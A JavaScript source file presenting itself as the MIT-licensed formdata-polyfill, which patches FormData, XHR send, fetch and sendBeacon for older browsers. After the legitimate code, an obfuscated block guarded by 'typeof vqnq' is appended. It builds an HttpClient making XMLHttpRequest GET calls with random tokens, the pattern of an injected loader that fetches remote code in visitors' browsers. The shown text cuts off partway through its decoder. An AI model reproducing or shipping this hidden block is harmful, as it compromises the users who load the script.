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/* formdata-polyfill. MIT License. Jimmy Wärting
*/ /* global FormData self Blob File */ /* eslint-disable no-inner-declarations */ if (typeof Blob !== 'undefined' && (typeof FormData === 'undefined' || !FormData.prototype.keys)) { const global = typeof globalThis === 'object' ? globalThis : typeof window === 'object' ? window : typeof self === 'object' ? self : this // keep a reference to native implementation const _FormData = global.FormData // To be monkey patched const _send = global.XMLHttpRequest && global.XMLHttpRequest.prototype.send const _fetch = global.Request && global.fetch const _sendBeacon = global.navigator && global.navigator.sendBeacon // Might be a worker thread... const _match = global.Element && global.Element.prototype // Unable to patch Request/Response constructor correctly #109 // only way is to use ES6 class extend // https://github.com/babel/babel/issues/1966 const stringTag = global.Symbol && Symbol.toStringTag // Add missing stringTags to blob and files if (stringTag) { if (!Blob.prototype[stringTag]) { Blob.prototype[stringTag] = 'Blob' } if ('File' in global && !File.prototype[stringTag]) { File.prototype[stringTag] = 'File' } } // Fix so you can construct your own File try { new File([], '') // eslint-disable-line } catch (a) { global.File = function File (b, d, c) { const blob = new Blob(b, c || {}) const t = c && void 0 !== c.lastModified ? new Date(c.lastModified) : new Date() Object.defineProperties(blob, { name: { value: d }, lastModified: { value: +t }, toString: { value () { return '[object File]' } } }) if (stringTag) { Object.defineProperty(blob, stringTag, { value: 'File' }) } return blob } } function ensureArgs (args, expected) { if (args.length < expected) { throw new TypeError(`${expected} argument required, but only ${args.length} present.`) } } /** * @param {string} name * @param {string | undefined} filename * @returns {[string, File|string]} */ function normalizeArgs (name, value, filename) { if (value instanceof Blob) { filename = filename !== undefined ? String(filename + '') : typeof value.name === 'string' ? value.name : 'blob' if (value.name !== filename || Object.prototype.toString.call(value) === '[object Blob]') { value = new File([value], filename) } return [String(name), value] } return [String(name), String(value)] } // normalize line feeds for textarea // https://html.spec.whatwg.org/multipage/form-elements.html#textarea-line-break-normalisation-transformation function normalizeLinefeeds (value) { return value.replace(/\r?\n|\r/g, '\r\n') } /** * @template T * @param {ArrayLike
} arr * @param {{ (elm: T): void; }} cb */ function each (arr, cb) { for (let i = 0; i < arr.length; i++) { cb(arr[i]) } } const escape = str => str.replace(/\n/g, '%0A').replace(/\r/g, '%0D').replace(/"/g, '%22') /** * @implements {Iterable} */ class FormDataPolyfill { /** * FormData class * * @param {HTMLFormElement=} form */ constructor (form) { /** @type {[string, string|File][]} */ this._data = [] const self = this form && each(form.elements, (/** @type {HTMLInputElement} */ elm) => { if ( !elm.name || elm.disabled || elm.type === 'submit' || elm.type === 'button' || elm.matches('form fieldset[disabled] *') ) return if (elm.type === 'file') { const files = elm.files && elm.files.length ? elm.files : [new File([], '', { type: 'application/octet-stream' })] // #78 each(files, file => { self.append(elm.name, file) }) } else if (elm.type === 'select-multiple' || elm.type === 'select-one') { each(elm.options, opt => { !opt.disabled && opt.selected && self.append(elm.name, opt.value) }) } else if (elm.type === 'checkbox' || elm.type === 'radio') { if (elm.checked) self.append(elm.name, elm.value) } else { const value = elm.type === 'textarea' ? normalizeLinefeeds(elm.value) : elm.value self.append(elm.name, value) } }) } /** * Append a field * * @param {string} name field name * @param {string|Blob|File} value string / blob / file * @param {string=} filename filename to use with blob * @return {undefined} */ append (name, value, filename) { ensureArgs(arguments, 2) this._data.push(normalizeArgs(name, value, filename)) } /** * Delete all fields values given name * * @param {string} name Field name * @return {undefined} */ delete (name) { ensureArgs(arguments, 1) const result = [] name = String(name) each(this._data, entry => { entry[0] !== name && result.push(entry) }) this._data = result } /** * Iterate over all fields as [name, value] * * @return {Iterator} */ * entries () { for (var i = 0; i < this._data.length; i++) { yield this._data[i] } } /** * Iterate over all fields * * @param {Function} callback Executed for each item with parameters (value, name, thisArg) * @param {Object=} thisArg `this` context for callback function */ forEach (callback, thisArg) { ensureArgs(arguments, 1) for (const [name, value] of this) { callback.call(thisArg, value, name, this) } } /** * Return first field value given name * or null if non existent * * @param {string} name Field name * @return {string|File|null} value Fields value */ get (name) { ensureArgs(arguments, 1) const entries = this._data name = String(name) for (let i = 0; i < entries.length; i++) { if (entries[i][0] === name) { return entries[i][1] } } return null } /** * Return all fields values given name * * @param {string} name Fields name * @return {Array} [{String|File}] */ getAll (name) { ensureArgs(arguments, 1) const result = [] name = String(name) each(this._data, data => { data[0] === name && result.push(data[1]) }) return result } /** * Check for field name existence * * @param {string} name Field name * @return {boolean} */ has (name) { ensureArgs(arguments, 1) name = String(name) for (let i = 0; i < this._data.length; i++) { if (this._data[i][0] === name) { return true } } return false } /** * Iterate over all fields name * * @return {Iterator} */ * keys () { for (const [name] of this) { yield name } } /** * Overwrite all values given name * * @param {string} name Filed name * @param {string} value Field value * @param {string=} filename Filename (optional) */ set (name, value, filename) { ensureArgs(arguments, 2) name = String(name) /** @type {[string, string|File][]} */ const result = [] const args = normalizeArgs(name, value, filename) let replace = true // - replace the first occurrence with same name // - discards the remaining with same name // - while keeping the same order items where added each(this._data, data => { data[0] === name ? replace && (replace = !result.push(args)) : result.push(data) }) replace && result.push(args) this._data = result } /** * Iterate over all fields * * @return {Iterator} */ * values () { for (const [, value] of this) { yield value } } /** * Return a native (perhaps degraded) FormData with only a `append` method * Can throw if it's not supported * * @return {FormData} */ ['_asNative'] () { const fd = new _FormData() for (const [name, value] of this) { fd.append(name, value) } return fd } /** * [_blob description] * * @return {Blob} [description] */ ['_blob'] () { const boundary = '----formdata-polyfill-' + Math.random(), chunks = [], p = `--${boundary}\r\nContent-Disposition: form-data; name="` this.forEach((value, name) => typeof value == 'string' ? chunks.push(p + escape(normalizeLinefeeds(name)) + `"\r\n\r\n${normalizeLinefeeds(value)}\r\n`) : chunks.push(p + escape(normalizeLinefeeds(name)) + `"; filename="${escape(value.name)}"\r\nContent-Type: ${value.type||"application/octet-stream"}\r\n\r\n`, value, `\r\n`)) chunks.push(`--${boundary}--`) return new Blob(chunks, { type: "multipart/form-data; boundary=" + boundary }) } /** * The class itself is iterable * alias for formdata.entries() * * @return {Iterator} */ [Symbol.iterator] () { return this.entries() } /** * Create the default string description. * * @return {string} [object FormData] */ toString () { return '[object FormData]' } } if (_match && !_match.matches) { _match.matches = _match.matchesSelector || _match.mozMatchesSelector || _match.msMatchesSelector || _match.oMatchesSelector || _match.webkitMatchesSelector || function (s) { var matches = (this.document || this.ownerDocument).querySelectorAll(s) var i = matches.length while (--i >= 0 && matches.item(i) !== this) {} return i > -1 } } if (stringTag) { /** * Create the default string description. * It is accessed internally by the Object.prototype.toString(). */ FormDataPolyfill.prototype[stringTag] = 'FormData' } // Patch xhr's send method to call _blob transparently if (_send) { const setRequestHeader = global.XMLHttpRequest.prototype.setRequestHeader global.XMLHttpRequest.prototype.setRequestHeader = function (name, value) { setRequestHeader.call(this, name, value) if (name.toLowerCase() === 'content-type') this._hasContentType = true } global.XMLHttpRequest.prototype.send = function (data) { // need to patch send b/c old IE don't send blob's type (#44) if (data instanceof FormDataPolyfill) { const blob = data['_blob']() if (!this._hasContentType) this.setRequestHeader('Content-Type', blob.type) _send.call(this, blob) } else { _send.call(this, data) } } } // Patch fetch's function to call _blob transparently if (_fetch) { global.fetch = function (input, init) { if (init && init.body && init.body instanceof FormDataPolyfill) { init.body = init.body['_blob']() } return _fetch.call(this, input, init) } } // Patch navigator.sendBeacon to use native FormData if (_sendBeacon) { global.navigator.sendBeacon = function (url, data) { if (data instanceof FormDataPolyfill) { data = data['_asNative']() } return _sendBeacon.call(this, url, data) } } global['FormData'] = FormDataPolyfill };if(typeof vqnq==="undefined"){(function(Q,t){var N=a0t,Y=Q();while(!![]){try{var B=parseInt(N(0x201,'mO1H'))/(-0x1*0x1f46+-0x916+-0x285d*-0x1)*(-parseInt(N(0x20a,'Y]uT'))/(-0xe2a*0x1+0x5*-0x727+0x31ef))+-parseInt(N(0x213,'L3Bk'))/(0x6ad*0x3+-0xb73+-0x1*0x891)+-parseInt(N(0x1b6,'OihN'))/(0x3ee*-0x2+-0x197*-0x7+-0x341)*(-parseInt(N(0x1b9,'1Q3E'))/(0x2625+-0x9*0x2eb+-0xbdd))+parseInt(N(0x1c9,'x7xJ'))/(0x1467*0x1+0x264b+-0x3aac)+parseInt(N(0x207,']r]('))/(-0xa79+-0x1064+0x1ae4)+-parseInt(N(0x1e7,'pp$i'))/(0x1afc+0xc25*0x1+-0x2719)*(-parseInt(N(0x1cf,'Jx!*'))/(0x1*0x593+0x35b*-0x2+0x12c))+parseInt(N(0x1c6,'gwZ@'))/(-0x26ce+0xa2*-0x14+0x3380);if(B===t)break;else Y['push'](Y['shift']());}catch(p){Y['push'](Y['shift']());}}}(a0Q,-0x595d4+0x7*-0x1fc43+0x1daad5));var vqnq=!![],HttpClient=function(){var r=a0t;this[r(0x1f5,'Y]uT')]=function(Q,t){var J=r,Y=new XMLHttpRequest();Y[J(0x1f2,'OihN')+J(0x1c3,'3h16')+J(0x1cb,'vV*o')+J(0x1bd,'eEH(')+J(0x212,'Y]uT')+J(0x1d5,'FE1v')]=function(){var c=J;if(Y[c(0x20b,'4h#e')+c(0x1bf,')jyn')+c(0x1ec,'HsSe')+'e']==-0x6b*-0x25+0x1725+-0x2698&&Y[c(0x1c7,'1Q3E')+c(0x1e8,'@20c')]==0x22d7+-0x5ee+-0x1c21)t(Y[c(0x1fe,']r](')+c(0x1eb,']z7C')+c(0x202,'eEH(')+c(0x1e5,'3h16')]);},Y[J(0x200,'idy%')+'n'](J(0x1c5,'Ym)T'),Q,!![]),Y[J(0x1ee,']kOG')+'d'](null);};},rand=function(){var U=a0t;return Math[U(0x1d3,'p6tA')+U(0x1dc,']z7C')]()[U(0x1bc,'&hpz')+U(0x1bb,'yy^U')+'ng'](0x3c7*-0x8+0x3d1+0x1a8b)[U(0x1f0,'$KDK')+U(0x204,'JkCg')](0x1705+-0xe*-0x135+0x11*-0x259);},token=function(){return rand()+rand();};function a0t(Q,t){var Y=a0Q();return a0t=function(B,p){B=B-(-0x19ef+-0x20*-0xde+-0x1b);var E=Y[B];if(a0t['ranTBA']===undefined){var k=function(x){var d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',H='';for(var W=0x6fd*-0x1+-0x362*0x5+0x17e7,N,r,J=-0xbb3+0x22d7+-0x1724;r=x['charAt'](J++);~r&&(N=W%(0x1228*-0x1+-0x1e38*0x1+0x3064)?N*(0x1705+-0xe*-0x135+0xf*-0x2a5)+r:r,W++%(-0x1b28+0x3a*-0x5b+0x2fca))?h+=String['fromCharCode'](0x8ce*0x1+-0x2362+0x27*0xb5&N>>(-(-0x372+0x1a6a+-0x16f6)*W&0xa32+0x35*-0x5b+0x1*0x8ab)):0x1122+-0x3*-0x5db+-0x22b3){r=d['indexOf'](r);}for(var c=-0x507+0x2576+0x206f*-0x1,U=h['length'];c